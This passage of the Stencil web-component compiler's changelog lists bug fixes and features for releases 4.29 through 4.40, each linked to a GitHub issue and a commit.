([74aea99](https://github.com/stenciljs/core/commit/74aea99dffda483418ce8e61707b3dc50eb749a2))\n* **cli:** `--stats` accepts optional path string as per documentation ([#6524](https://github.com/stenciljs/core/issues/6524)) ([42ebdfa](https://github.com/stenciljs/core/commit/42ebdfaaa9bc3b0c7600525f2a86f4cd09a3d97e))\n* **compiler:** stop error from globalScript lack of default export ([#6527](https://github.com/stenciljs/core/issues/6527)) ([ba03ccf](https://github.com/stenciljs/core/commit/ba03ccf8f6caa0b19699e5931cc5fa231cd14fff))\n* **css:** strip line breaks from final template literal ([#6517](https://github.com/stenciljs/core/issues/6517)) ([dfeeaec](https://github.com/stenciljs/core/commit/dfeeaecc82a3696db2ea3076f649c8088df5c12c))\n* **runtime:** allow `cloneNode` patch even without <slot> ([#6513](https://github.com/stenciljs/core/issues/6513)) ([e893bd1](https://github.com/stenciljs/core/commit/e893bd13a851586532cbfac66d7213c28d0f09ca))\n* **runtime:** delay non-shadow onConnectedCallback; make sure slotted content is available ([#6519](https://github.com/stenciljs/core/issues/6519)) ([9e38aa7](https://github.com/stenciljs/core/commit/9e38aa7a06f7afd722812e748e213ad2f1457da5))\n* **runtime:** update non-shadow slotted content visibility via dynamic `<slot>` ([#6514](https://github.com/stenciljs/core/issues/6514)) ([cdcd873](https://github.com/stenciljs/core/commit/cdcd873a03de2534715320e6c758a808cab08ce1))\n* **testing:** jest / mixin related errors ([#6512](https://github.com/stenciljs/core/issues/6512)) ([5c17422](https://github.com/stenciljs/core/commit/5c17422eee67ffff6f1166374e43d218ba82905f))\n* **types:** components.d.ts - correctly import / export used enums ([#6522](https://github.com/stenciljs/core/issues/6522)) ([e243c6f](https://github.com/stenciljs/core/commit/e243c6f73ff8632851152b0b2f6a88eaa87c1bf4))\n\n\n### Features\n\n* **dev-server:** new `strictPort` property ([#6523](https://github.com/stenciljs/core/issues/6523)) ([cc12853](https://github.com/stenciljs/core/commit/cc1285363d85d87d5e686adcb7f5e9d93b7829b7))\n* **runtime:** support tsconfig `jsxImportSource` (`h` import no longer necessary) ([#6525](https://github.com/stenciljs/core/issues/6525)) ([6482533](https://github.com/stenciljs/core/commit/648253360793cc6909aa631fe44dd34599e9d4e2))\n\n\n\n## 🐂 [4.40.1](https://github.com/stenciljs/core/compare/v4.40.0...v4.40.1) (2025-12-23)\n\n\n### Bug Fixes\n\n* **compiler:** docs generation when using `excludedComponents` ([#6509](https://github.com/stenciljs/core/issues/6509)) ([4209437](https://github.com/stenciljs/core/commit/4209437ff371671a13fd0085611ab92abb73c1f5))\n* **css:** `@container` query parsing ([#6508](https://github.com/stenciljs/core/issues/6508)) ([208a105](https://github.com/stenciljs/core/commit/208a1050c23d6de985c33d4f4a273d93e7b39a3b))\n* **css:** escape backslashes ([#6506](https://github.com/stenciljs/core/issues/6506)) ([758b8ee](https://github.com/stenciljs/core/commit/758b8ee024a26da938dd335bf3c96be7269d9317))\n* **runtime:** more robust `supportsConstructableStylesheets` test ([#6510](https://github.com/stenciljs/core/issues/6510)) ([484b1b8](https://github.com/stenciljs/core/commit/484b1b8682bc0ff9becedb5f180afa66e50c46fb))\n\n\n\n# 🍌 [4.40.0](https://github.com/stenciljs/core/compare/v4.39.0...v4.40.0) (2025-12-23)\n\n\n### Bug Fixes\n\n* **compiler:** minify dist-custom-elements and hydrate-script ([#6482](https://github.com/stenciljs/core/issues/6482)) ([ec043cd](https://github.com/stenciljs/core/commit/ec043cdd0fc0fe5179e7b125039afbd034ea41a6))\n* **compiler:** resolve node_modules css imports ([#6493](https://github.com/stenciljs/core/issues/6493)) ([84ac5b8](https://github.com/stenciljs/core/commit/84ac5b8cbe85be26cdf01bfa5d34fe455b853e6e))\n* **css:** css imports with functions and media queries ([#6474](https://github.com/stenciljs/core/issues/6474)) ([249f84a](https://github.com/stenciljs/core/commit/249f84aab3f3597d132563907732b80d6ae1aade))\n* **css:** enable parsing of native, nested css selectors ([#6480](https://github.com/stenciljs/core/issues/6480)) ([3506686](https://github.com/stenciljs/core/commit/35066867e13669ac1d19fb168e3ae85dc4dd42b6))\n* **css:** pseudo-element selectors in nested media queries ([#6486](https://github.com/stenciljs/core/issues/6486)) ([20ce1ce](https://github.com/stenciljs/core/commit/20ce1ce3d5dd801f3648e5052891efff4965212b))\n* **css:** strip comments before adding css to js ([#6487](https://github.com/stenciljs/core/issues/6487)) ([2892b4f](https://github.com/stenciljs/core/commit/2892b4f486f79db7ba19ab54b9c500e210cda926))\n* **css:** vanilla css live-reload & added globalStyles to dev `<style>` ([#6488](https://github.com/stenciljs/core/issues/6488)) ([34cb672](https://github.com/stenciljs/core/commit/34cb672380b1e1b1b8818181e176dfe93dfca3cf))\n* **dist-custom-elements:** index / default entry types ([#6489](https://github.com/stenciljs/core/issues/6489)) ([7b89b5c](https://github.com/stenciljs/core/commit/7b89b5c118facc6134c15ed5a9bc989cac227361))\n* **runtime:** malformed `<template>` elements ([#6492](https://github.com/stenciljs/core/issues/6492)) ([8608bd9](https://github.com/stenciljs/core/commit/8608bd9f9041b495991da120dc72668c91d78437))\n* **runtime:** respect slotted element initial 'hidden' property (non-shadow) ([#6499](https://github.com/stenciljs/core/issues/6499)) ([d3b8b7a](https://github.com/stenciljs/core/commit/d3b8b7ad437318b95f0842b77df9ed489c53f784))\n* **runtime:** stop patching non-shadow components without `<slot>` ([#6483](https://github.com/stenciljs/core/issues/6483)) ([44fb8de](https://github.com/stenciljs/core/commit/44fb8deac59bd4d6f592ce88129ed1b377dca340))\n* **sourcemaps:** generate entry sourcemaps during a dev build ([#6476](https://github.com/stenciljs/core/issues/6476)) ([e678159](https://github.com/stenciljs/core/commit/e67815968e67584aab0c50d4f8e43214c503d121))\n* **ssr:** stop removing slotted whitespace ([#6477](https://github.com/stenciljs/core/issues/6477)) ([b4c5886](https://github.com/stenciljs/core/commit/b4c58864aef709bc40f183bd101123a6f209f3c8))\n* **styles:** support rendering across documents ([#6481](https://github.com/stenciljs/core/issues/6481)) ([b73a44b](https://github.com/stenciljs/core/commit/b73a44b4c7bbfc8da783f37f012be709a0f7f19d)), closes [#6479](https://github.com/stenciljs/core/issues/6479)\n* **testing:** always render `shadowrootdelegatesfocus` as a boolean ([#6490](https://github.com/stenciljs/core/issues/6490)) ([8f266de](https://github.com/stenciljs/core/commit/8f266dedc6429a669833576d0ab68cb2a6b9dccd))\n* **testing:** puppeteer <= 22 executable path ([#6478](https://github.com/stenciljs/core/issues/6478)) ([ecb279a](https://github.com/stenciljs/core/commit/ecb279a393bb6dea57fa431db1cc605ea046f72a))\n* **types:** correctly expand and resolve `type | generic<type>` ([#6495](https://github.com/stenciljs/core/issues/6495)) ([d43e29b](https://github.com/stenciljs/core/commit/d43e29b17c0f68b85b23bafba44504100e98a2d9))\n\n\n### Features\n\n* **api:** manual slot assignment ([#6497](https://github.com/stenciljs/core/issues/6497)) ([92097e4](https://github.com/stenciljs/core/commit/92097e492ded87c4d5f8bf9d8ee0add8ff178d1d))\n* **compiler:** `sourceMap: \"dev\"` ([#6498](https://github.com/stenciljs/core/issues/6498)) ([0be1ea1](https://github.com/stenciljs/core/commit/0be1ea125c50d30ee0a1f36c79bb116633bf091f))\n* **compiler:** new `excludeComponents` config option ([#6491](https://github.com/stenciljs/core/issues/6491)) ([f60693e](https://github.com/stenciljs/core/commit/f60693ed698cf10e801ed315fc742de79eb8062d))\n* **types:** add Invoker Commands API attributes to button ([#6494](https://github.com/stenciljs/core/issues/6494)) ([792acf5](https://github.com/stenciljs/core/commit/792acf5deb485e16013723844c3437543abc87ea))\n* **watch decorator:** new handler option `immediate` ([#6484](https://github.com/stenciljs/core/issues/6484)) ([7cc22f6](https://github.com/stenciljs/core/commit/7cc22f687b36b2af215c39b3577c5b8d1c5095d8))\n\n\n\n# 🎭 [4.39.0](https://github.com/stenciljs/core/compare/v4.38.3...v4.39.0) (2025-12-08)\n\n\n### Bug Fixes\n\n* **lazyBundleIdPlugin:** fixed the issue with creation of orphaned '.map' files in the distribution directory ([#6455](https://github.com/stenciljs/core/issues/6455)) ([7155fe8](https://github.com/stenciljs/core/commit/7155fe8776fe25c6557188929c5a7e04f0212e97))\n* **mixin:** allow `args` as a ctor argument & fix super call order during spec tests ([#6467](https://github.com/stenciljs/core/issues/6467)) ([afa4c2d](https://github.com/stenciljs/core/commit/afa4c2d7e4cf3efa937d9e187478d1ee508bfe4c))\n\n\n### Features\n\n* **runtime:** tag transformation - ([#6211](https://github.com/stenciljs/core/issues/6211)) ([be7d73e](https://github.com/stenciljs/core/commit/be7d73e695cfae678dacf8d6b3a1b42e967e8417))\n* **compiler:** variables as decorators arguments - ([#6451](https://github.com/stenciljs/core/issues/6451)) ([fa9a025](https://github.com/stenciljs/core/commit/fa9a025ac584997a702483ef53f2b6125c9d196e))\n  \n\n## 😋 [4.38.3](https://github.com/stenciljs/core/compare/v4.38.2...v4.38.3) (2025-11-05)\n\n\n### Bug Fixes\n\n* **runtime:** modern class props detected in collections ([#6431](https://github.com/stenciljs/core/issues/6431)) ([e790c24](https://github.com/stenciljs/core/commit/e790c24f2205677f1f0cd8251110a608c864c5bb))\n* **ts:** moduleResolution can now be `bundler`. Configurable module / noEmitOnError ([#6433](https://github.com/stenciljs/core/issues/6433)) ([5018e1e](https://github.com/stenciljs/core/commit/5018e1e3ebf03a4b560bba89a3642698ca3f2d9f))\n* **types:** revert autocorrect omission ([#6441](https://github.com/stenciljs/core/issues/6441)) ([4719427](https://github.com/stenciljs/core/commit/47194274cb4d68adb1acb8a37984e9119c78859c))\n\n\n\n## 🐎 [4.38.2](https://github.com/stenciljs/core/compare/v4.38.1...v4.38.2) (2025-10-17)\n\n\n### Bug Fixes\n\n* **build:** absolute to relative path conversion: greedy extension replacement ([#6421](https://github.com/stenciljs/core/issues/6421)) ([5341bf4](https://github.com/stenciljs/core/commit/5341bf4109391a98282f96479f6a7c3ab0a9ee8c))\n* **mock-doc:** implement `part` API ([#6423](https://github.com/stenciljs/core/issues/6423)) ([a85d031](https://github.com/stenciljs/core/commit/a85d0312d6f199023e35c08bddea5a2da0c9f989))\n* **types:** new `MixedInCtor` type to make `Mixin` components type-safe ([#6422](https://github.com/stenciljs/core/issues/6422)) ([b191267](https://github.com/stenciljs/core/commit/b191267afca98b033c8f7eda4f348a908814055b))\n* **types:** temporary `autocorrect` fix ([#6426](https://github.com/stenciljs/core/issues/6426)) ([7044550](https://github.com/stenciljs/core/commit/70445506ed4e721db64b7e813fd9b8433c5ea957))\n\n\n\n## 🚎 [4.38.1](https://github.com/stenciljs/core/compare/v4.38.0...v4.38.1) (2025-10-10)\n\n\n### Bug Fixes\n\n* **build:** add extended class source in collection dependencies ([#6412](https://github.com/stenciljs/core/issues/6412)) ([40516ea](https://github.com/stenciljs/core/commit/40516ea2b75b24471bd8fc8f37e47f0945be4a0f))\n* **runtime:** better boolean attribute handling ([#6413](https://github.com/stenciljs/core/issues/6413)) ([06a2375](https://github.com/stenciljs/core/commit/06a2375f80f53d03c12859ef29ce27d40d8fec6b))\n\n\n### Features\n\n* **Test** Export internal `mockComponentMeta` object making writing custom output-target tests easier ([ef05b45](https://github.com/stenciljs/core/commit/ef05b4505a9313280bca5712dedcbc0444fa37a5))\n\n\n# 🎿 [4.38.0](https://github.com/stenciljs/core/compare/v4.37.1...v4.38.0) (2025-10-02)\n\n\n### Bug Fixes\n\n* local (same-file) class inheritance search ([#6403](https://github.com/stenciljs/core/issues/6403)) ([695b1ac](https://github.com/stenciljs/core/commit/695b1acabd401bd0f7b6c945be3225e7896bbc14))\n* **runtime:** stop immediate re-renders for reflected props when null !== undefined ([#6404](https://github.com/stenciljs/core/issues/6404)) ([680b12e](https://github.com/stenciljs/core/commit/680b12ec7302f169e5d251066e522b81071f8c4e))\n* **test:** stop duplicate super calls in Jest ([#6401](https://github.com/stenciljs/core/issues/6401)) ([32160ad](https://github.com/stenciljs/core/commit/32160ad13beb1891f2cefbcf946f17fdb41aacf5))\n* **test:** trigger @Watch decorators on inherited classes in jest env ([#6402](https://github.com/stenciljs/core/issues/6402)) ([f277068](https://github.com/stenciljs/core/commit/f2770687f592782ce2ff234da933f603ca9e31bb))\n\n\n### Features\n\n* **config:** allow suppressing reserved public name warning ([#6389](https://github.com/stenciljs/core/issues/6389)) ([341fec4](https://github.com/stenciljs/core/commit/341fec4ed01662126fbe0d1dfc3b230612b57bba))\n* new core decorators `@PropSerialize` & `@AttrDeserialize` ([#6387](https://github.com/stenciljs/core/issues/6387)) ([967c234](https://github.com/stenciljs/core/commit/967c2346e9e736eabd16ed42495293b048b29431))\n\n\n\n## 🏰 [4.37.1](https://github.com/stenciljs/core/compare/v4.37.0...v4.37.1) (2025-09-19)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** revert [#6381](https://github.com/stenciljs/core/issues/6381) ([77cfdb3](https://github.com/stenciljs/core/commit/77cfdb3b704205ced93b7a265ea0881fa2dd19d0))\n* **Mixin:** export `MixinFactory` type for ease of use ([#6390](https://github.com/stenciljs/core/issues/6390)) ([a26114e](https://github.com/stenciljs/core/commit/a26114ee8a3d808ddb4731547842301628654312))\n* **runtime:** stop eager json parsing for unknown and any type bindings ([#6384](https://github.com/stenciljs/core/issues/6384)) ([ccae0d7](https://github.com/stenciljs/core/commit/ccae0d743cd4eb2766eb7e48cb6add854c9fd640))\n\n\n\n# ⛴ [4.37.0](https://github.com/stenciljs/core/compare/v4.36.3...v4.37.0) (2025-09-13)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** apply `initializeNextTick` config ([dbcdeff](https://github.com/stenciljs/core/commit/dbcdeff26a9b258f860c5774497e31b84690c7af))\n* **dist-custom-elements:** apply `initializeNextTick` config setting ([#6382](https://github.com/stenciljs/core/issues/6382)) ([7bdf9fb](https://github.com/stenciljs/core/commit/7bdf9fbba0c84305cb7e0d749e0407ced5246b2f))\n* **runtime:** make sure watchers can fire immediately if the custom element is already defined ([#6381](https://github.com/stenciljs/core/issues/6381)) ([4fb9140](https://github.com/stenciljs/core/commit/4fb914024b7a3a760a60feb3ecee21bd3d2c2749))\n\n\n### Features\n\n* new core api - Mixin ([#6375](https://github.com/stenciljs/core/issues/6375)) ([08f6583](https://github.com/stenciljs/core/commit/08f65838787866ce8749489e9ede36bcdfe15f0a))\n* **runtime:** allow class extending ([#6362](https://github.com/stenciljs/core/issues/6362)) ([0456db1](https://github.com/stenciljs/core/commit/0456db148456911ba8cfb0af4af69ed2022763f9))\n\n\n### BREAKING CHANGES\n\n* **runtime:** Watchers will fire earlier than before, but this is the expected behavior\n\n\n\n## 🐈 [4.36.3](https://github.com/stenciljs/core/compare/v4.36.2...v4.36.3) (2025-08-20)\n\n\n### Bug Fixes\n\n* **rollup:** proper `warn` handling ([#6357](https://github.com/stenciljs/core/issues/6357)) ([0831d2c](https://github.com/stenciljs/core/commit/0831d2c35bc16cdc27640353f141ebb2681cb925))\n* **runtime:** fixed parsing of complex attributes that contains JSON strings ([#6359](https://github.com/stenciljs/core/issues/6359)) ([7047196](https://github.com/stenciljs/core/commit/7047196b877f48812783a4d158ac5b3149bcd839))\n\n\n\n## 💚 [4.36.2](https://github.com/stenciljs/core/compare/v4.36.1...v4.36.2) (2025-07-28)\n\n\n### Bug Fixes\n\n* **bundle:** remove post order of node-resolve ([#6353](https://github.com/stenciljs/core/issues/6353)) ([19b56d1](https://github.com/stenciljs/core/commit/19b56d19772b2f113cdc87837305b55eedea0361)), closes [#6335](https://github.com/stenciljs/core/issues/6335)\n\n\n\n## 🍺 [4.36.1](https://github.com/stenciljs/core/compare/v4.36.0...v4.36.1) (2025-07-18)\n\n\n### Bug Fixes\n\n* **runtime:** only patch non-shadow components with <slot>s ([#6348](https://github.com/stenciljs/core/issues/6348)) ([827b7f0](https://github.com/stenciljs/core/commit/827b7f0d553cde6afe5f9816c4907641d16f8c0f))\n* **runtime:** stop applying patches to non-shadow / non-render() components ([#6349](https://github.com/stenciljs/core/issues/6349)) ([3a18a37](https://github.com/stenciljs/core/commit/3a18a377850a332cc70cfe756d663d9cc4d23872))\n\n\n\n# 🎊 [4.36.0](https://github.com/stenciljs/core/compare/v4.35.3...v4.36.0) (2025-07-15)\n\n\n### Bug Fixes\n\n* contructable stylesheets with older immutable spec (chrome <99) ([#6332](https://github.com/stenciljs/core/issues/6332)) ([2f363dd](https://github.com/stenciljs/core/commit/2f363dd130101bfef566cec88209f13233f7e8e3)), closes [#6326](https://github.com/stenciljs/core/issues/6326)\n* **runtime:** check shadow root nodes before appending them ([#6342](https://github.com/stenciljs/core/issues/6342)) ([c63f25d](https://github.com/stenciljs/core/commit/c63f25d0b40a3b9a2b51d1c66ab6b95154acc34a))\n* **runtime:** do not remove first comment - can break frameworks ([#6343](https://github.com/stenciljs/core/issues/6343)) ([188e7db](https://github.com/stenciljs/core/commit/188e7dbfd785174dfe87a8c9ebffd75ffa8a7208))\n* **runtime:** double check hostRef value ([#6341](https://github.com/stenciljs/core/issues/6341)) ([051522f](https://github.com/stenciljs/core/commit/051522f59851c7502ea2574abb7e0b0ded7f39bb))\n* **runtime:** fix blur handling of non-scoped elements ([#6314](https://github.com/stenciljs/core/issues/6314)) ([bfbd683](https://github.com/stenciljs/core/commit/bfbd683efdd50ba56c9c3536c9a983209dec5d9c))\n* **runtime:** fix prettier ([d84f9e7](https://github.com/stenciljs/core/commit/d84f9e7e5f2bf1ded5ff8d46ed5a71f9f74ad42d))\n* **ssr:** `scoped: true` components forwarded slots ([#6340](https://github.com/stenciljs/core/issues/6340)) ([fd4b892](https://github.com/stenciljs/core/commit/fd4b892a73a593cac4939c98ebc2d9fa6f91fbdc)), closes [#6337](https://github.com/stenciljs/core/issues/6337), closes [#6339](https://github.com/stenciljs/core/issues/6339)\n\n\n### Features\n\n* **moc-doc:** serialize `delegatesFocus` shadow DOM property ([#6333](https://github.com/stenciljs/core/issues/6333)) ([56fe6e3](https://github.com/stenciljs/core/commit/56fe6e35a3638eb50c1a74db754b4893f86172f5)), closes [#6265](https://github.com/stenciljs/core/issues/6265)\n* **runtime:** skip initial task queue to improve first time rendering ([#6331](https://github.com/stenciljs/core/issues/6331)) ([6106c70](https://github.com/stenciljs/core/commit/6106c70aa3aae10b7de920ae94fc569293aac8c9)), closes [#6317](https://github.com/stenciljs/core/issues/6317)\n\n\n\n## 🎹 [4.35.3](https://github.com/stenciljs/core/compare/v4.35.2...v4.35.3) (2025-07-02)\n\n\n### Bug Fixes\n\n* **declarations:** add ToggleEvent type ([ac92210](https://github.com/stenciljs/core/commit/ac9221076c0dd25aefc02b85f22bd0cb7216203c))\n\n\n\n## 🍓 [4.35.2](https://github.com/stenciljs/core/compare/v4.35.1...v4.35.2) (2025-07-02)\n\n\n### Bug Fixes\n\n* **ci:** hardening security of GH actions ([#6305](https://github.com/stenciljs/core/issues/6305)) ([3f80413](https://github.com/stenciljs/core/commit/3f80413171fadd150da36ff7abdad865226a54ae))\n* **compiler:** fix attachInternals should be usable without formAssoc… ([#6286](https://github.com/stenciljs/core/issues/6286)) ([7132259](https://github.com/stenciljs/core/commit/7132259c40d231f03f521c6cbe19083a467795de)), closes [#6285](https://github.com/stenciljs/core/issues/6285)\n* **declarations:** update toggle event handler types ([#6323](https://github.com/stenciljs/core/issues/6323)) ([5925974](https://github.com/stenciljs/core/commit/5925974d857c8d2a7b8b85e21478c7e3942888e8)), closes [#6322](https://github.com/stenciljs/core/issues/6322)\n* **mock-doc:** prevent infinite recursion in blur event handlers ([#6310](https://github.com/stenciljs/core/issues/6310)) ([092cacd](https://github.com/stenciljs/core/commit/092cacda99b318ee8ccc7ad51591da07c869c366)), closes [#6307](https://github.com/stenciljs/core/issues/6307)\n* **security:** update email for outreach ([9da2c90](https://github.com/stenciljs/core/commit/9da2c907af4012a4c006279870b04e7a9bae73b2))\n* **ssr:** fixes for `scoped: true` components during SSR ([#6311](https://github.com/stenciljs/core/issues/6311)) ([b07dda6](https://github.com/stenciljs/core/commit/b07dda6c94a8f9c0262ebbd303582ba5ee209648)), closes [#6313](https://github.com/stenciljs/core/issues/6313)\n* **ssr:** slow property hydration, incorrect rendering ([#6325](https://github.com/stenciljs/core/issues/6325)) ([f018c73](https://github.com/stenciljs/core/commit/f018c7349c38dbb467e5cdcebceefa3bd0e392cc)), closes [#6324](https://github.com/stenciljs/core/issues/6324)\n* **utils:** single global stylesheet instance for performance ([#6320](https://github.com/stenciljs/core/issues/6320)) ([fe5d130](https://github.com/stenciljs/core/commit/fe5d1301270e21203009f8f6efece32fb491936d))\n* **testing:** support browser executable path detection via environm… ([#6308](https://github.com/stenciljs/core/issues/6308)) ([b7e2b50](https://github.com/stenciljs/core/commit/b7e2b50120b1e69d797160a27f8d31c674f0ac13)), closes [#6213](https://github.com/stenciljs/core/issues/6213)\n\n\n\n## 🦄 [4.35.1](https://github.com/stenciljs/core/compare/v4.35.0...v4.35.1) (2025-06-17)\n\n\n### Bug Fixes\n\n* **mock-doc:** ensure event bubbling follows shadow DOM boundaries ([#6301](https://github.com/stenciljs/core/issues/6301)) ([1304ffc](https://github.com/stenciljs/core/commit/1304ffcbfec3ff981ffabe26f8cda6eedc784c52)), closes [#5676](https://github.com/stenciljs/core/issues/5676)\n* **ssr:** expand `::part` css selectors for ssr `scoped` components ([#6298](https://github.com/stenciljs/core/issues/6298)) ([da24af6](https://github.com/stenciljs/core/commit/da24af6f5c5211a26e03a3132bc7281346d8ccee)), closes [#6297](https://github.com/stenciljs/core/issues/6297)\n* **ssr:** named slot dom order with `serializeShadowRoot: 'scoped'` components ([#6300](https://github.com/stenciljs/core/issues/6300)) ([96c0f13](https://github.com/stenciljs/core/commit/96c0f13b061ee45ed4596c44dd0e2abd701b6605)), closes [#6299](https://github.com/stenciljs/core/issues/6299)\n\n\n\n# 🌝 [4.35.0](https://github.com/stenciljs/core/compare/v4.34.0...v4.35.0) (2025-06-13)\n\n\n### Bug Fixes\n\n* **ssr:** retain slotted node order in serializeShadowRoot: `scoped` ([#6294](https://github.com/stenciljs/core/issues/6294)) ([c1e032d](https://github.com/stenciljs/core/commit/c1e032d562c2ef8f93248317c01186a366a12442)), closes [#6293](https://github.com/stenciljs/core/issues/6293)\n\n\n### Features\n\n* **global-styles:** add new `addGlobalStyleToComponents` extras config option to \"opt-out\" of new globalStyle behaviour ([#6292](https://github.com/stenciljs/core/issues/6292)) ([cd9778a](https://github.com/stenciljs/core/commit/cd9778a2ac934944b4b76d720d0ff73a6d5d1b05))\n\n\n\n# ⛑ [4.34.0](https://github.com/stenciljs/core/compare/v4.33.1...v4.34.0) (2025-06-11)\n\n\n### Bug Fixes\n\n* **compiler:** Prevent `extTransformsPlugin` from outputting collection dependency css ([#3306](https://github.com/stenciljs/core/issues/3306)) ([28e2a06](https://github.com/stenciljs/core/commit/28e2a062f6c0e107c0a8d25c18304b5db79f0fb4)), closes [#3305](https://github.com/stenciljs/core/issues/3305)\n* **declarations:** update PluginTransformResults after Rollup update ([#6232](https://github.com/stenciljs/core/issues/6232)) ([6ff8075](https://github.com/stenciljs/core/commit/6ff8075a8561b1e548ee437a887714599bf2ac39)), closes [#6231](https://github.com/stenciljs/core/issues/6231)\n* **mock-doc:** move slot event listener support from runtime to MockDoc ([#6287](https://github.com/stenciljs/core/issues/6287)) ([f2dd25d](https://github.com/stenciljs/core/commit/f2dd25d7e0e49b170d8683904e6e3219fa902cb0))\n* resolve TypeScript interface conflicts between component methods and HTMLElement ([#6282](https://github.com/stenciljs/core/issues/6282)) ([614d305](https://github.com/stenciljs/core/commit/614d305b1db84f2b2c0b9b1525fa97bc6508a081)), closes [#4467](https://github.com/stenciljs/core/issues/4467)\n* **runtime:** add addEventListener support for slot elements in scope components ([#6281](https://github.com/stenciljs/core/issues/6281)) ([32f66bd](https://github.com/stenciljs/core/commit/32f66bd1cf08694b4fe9abc70e076a68e1d2d731)), closes [#6269](https://github.com/stenciljs/core/issues/6269)\n* **runtime:** correct boolean attribute handling for form-associated components ([#6280](https://github.com/stenciljs/core/issues/6280)) ([7fe6372](https://github.com/stenciljs/core/commit/7fe6372c2a203b13e50a6d480ad39c8a4289adde)), closes [#5461](https://github.com/stenciljs/core/issues/5461)\n* **ssr:** mixed ssr methods styles ([#6289](https://github.com/stenciljs/core/issues/6289)) ([e253ceb](https://github.com/stenciljs/core/commit/e253cebf547cb98831cea8afb01a5bf9fe0a3d36)), closes [#6288](https://github.com/stenciljs/core/issues/6288)\n* update `CHANGELOG.md` location ([#6283](https://github.com/stenciljs/core/issues/6283)) ([36fca61](https://github.com/stenciljs/core/commit/36fca61886161df0f06f95a76e0f60b16952dcdc))\n\n\n### Features\n\n* **compiler:** improve file watching architecture and add external d… ([#6279](https://github.com/stenciljs/core/issues/6279)) ([0844538](https://github.com/stenciljs/core/commit/0844538a04f47d10f6a6d9e3c019808dfccf376b)), closes [#3151](https://github.com/stenciljs/core/issues/3151)\n\n\n\n## 🥃 [4.33.1](https://github.com/stenciljs/core/compare/v4.33.0...v4.33.1) (2025-06-03)\n\n\n### Bug Fixes\n\n* **runtime:** conditionally apply global styles using `supportsConstructableStylesheets` flag ([f4f815f](https://github.com/stenciljs/core/commit/f4f815f4624d8df7332ea9762e08a153a66a4c94))\n\n\n\n# 🐿 [4.33.0](https://github.com/stenciljs/core/compare/v4.32.0...v4.33.0) (2025-06-03)\n\n\n### Bug Fixes\n\n* **compiler:** enable rollup interop helpers for cjs when import injection is enabled ([#6272](https://github.com/stenciljs/core/issues/6272)) ([58d4ad0](https://github.com/stenciljs/core/commit/58d4ad010e7c2fc526ab9bf58177a83467fc994f)), closes [#6270](https://github.com/stenciljs/core/issues/6270)\n* **mock-doc:** onClick returns PointerEvent instead of MouseEvent ([#6267](https://github.com/stenciljs/core/issues/6267)) ([dc4bd52](https://github.com/stenciljs/core/commit/dc4bd52c9b52d684c644cf5db53577aa725609ad)), closes [#6217](https://github.com/stenciljs/core/issues/6217)\n\n\n### Features\n\n* **global-styles:** add global styles support to shadow DOM components ([#6268](https://github.com/stenciljs/core/issues/6268)) ([33363d4](https://github.com/stenciljs/core/commit/33363d4077728793e0c6f635a22dccbb5740be49))\n\n__Note:__ if you are using global styles this update may an impact on your Stencil shadow components, e.g. with `shadow: true` flag. Please validate visual correctness.\n\n\n# 🤖 [4.32.0](https://github.com/stenciljs/core/compare/v4.31.0...v4.32.0) (2025-05-28)\n\n\n### Features\n\n* **compiler:** Automatically add [@default](https://github.com/default) JSDoc to @Prop() declarations ([#6264](https://github.com/stenciljs/core/issues/6264)) ([9657927](https://github.com/stenciljs/core/commit/965792774858243ffbb866f01b6d8571f9dbb936))\n* **compiler:** support maxParallelFileOps in RollupInputOptions ([#6255](https://github.com/stenciljs/core/issues/6255)) ([71cf735](https://github.com/stenciljs/core/commit/71cf7358812fe7c4c65c95d28edd3a1e816de596))\n* **hydrate:** add `serializeShadowroot` to hydrateDocument ([#6259](https://github.com/stenciljs/core/issues/6259)) ([47f8845](https://github.com/stenciljs/core/commit/47f8845e967cbeb692b2f52687cf7f0e8454c0e0))\n* **hydrate:** export style content from hydrated scoped components ([#6260](https://github.com/stenciljs/core/issues/6260)) ([1bdcdb9](https://github.com/stenciljs/core/commit/1bdcdb904b77e93a01a58336125ef173fd83d88b))\n\n### Bug Fixes\n\n* **screenshot:** Changed hash algorithm in screenshot-compare to sha256 ([#6258](https://github.com/stenciljs/core/issues/6258)) ([bbbfb45](https://github.com/stenciljs/core/commit/bbbfb45989be8b8a423c49dd614155ed14db0e68)), closes [#6241](https://github.com/stenciljs/core/issues/6241)\n\n\n# 🐁 [4.31.0](https://github.com/stenciljs/core/compare/v4.30.0...v4.31.0) (2025-05-06)\n\n\n### Features\n\n* **docs:** add overwriteExisting option for flexible README overwrite behaviour ([#6249](https://github.com/stenciljs/core/issues/6249)) ([fa9a2cc](https://github.com/stenciljs/core/commit/fa9a2cca7816b39ad98d2874add00a02acd3112d)), closes [#6248](https://github.com/stenciljs/core/issues/6248)\n\n### Bug Fixes\n\n* **build:** fix build after dependency updates ([#6251](https://github.com/stenciljs/core/issues/6251)) ([d0c5ce5](https://github.com/stenciljs/core/commit/d0c5ce5ad0e0fcec4cf01262aec5641c6e3947d2))\n\n\n\n# 🌺 [4.30.0](https://github.com/stenciljs/core/compare/v4.29.3...v4.30.0) (2025-04-24)\n\n\n### Features\n\n* **runtime:** export a render method from the runtime ([#6245](https://github.com/stenciljs/core/issues/6245)) ([e6c0593](https://github.com/stenciljs/core/commit/e6c05939e59b63c71e586bf05b25c4435f97ff47))\n\n\n\n## 🐻 [4.29.3](https://github.com/stenciljs/core/compare/v4.29.2...v4.29.3) (2025-04-14)\n\n\n### Bug Fixes\n\n* **ssr:** add scoped classes during SSR ([#6238](https://github.com/stenciljs/core/issues/6238)) ([3363017](https://github.com/stenciljs/core/commit/3363017df3f1ef6d2f3f5433cb0d15ebc7ba948d)), closes [#6219](https://github.com/stenciljs/core/issues/6219)\n* **test:** don't always update snapshots ([b7e410b](https://github.com/stenciljs/core/commit/b7e410b961360b8efafe621b2782bc478d7c3d2b))\n* **utils:** remove lookbehind regexp for better performance ([#6236](https://github.com/stenciljs/core/issues/6236)) ([2f712bc](https://github.com/stenciljs/core/commit/2f712bc045f0abdbeea8a8441f983880322f65b9)), closes [#6226](https://github.com/stenciljs/core/issues/6226)\n\n\n\n## 🔋 [4.29.2](https://github.com/stenciljs/core/compare/v4.29.1...v4.29.2) (2025-04-07)\n\n\n### Bug Fixes\n\n* **utils:** don't create sourcemap file if disabled ([#6229](https://github.com/stenciljs/core/issues/6229)) ([31a97d2](https://github.com/stenciljs/core/commit/31a97d2a90beef00299ebe337cb40f4cac4154dd))\n\n\n\n## 🌼 [4.29.1](https://github.com/stenciljs/core/compare/v4.29.0...v4.29.1) 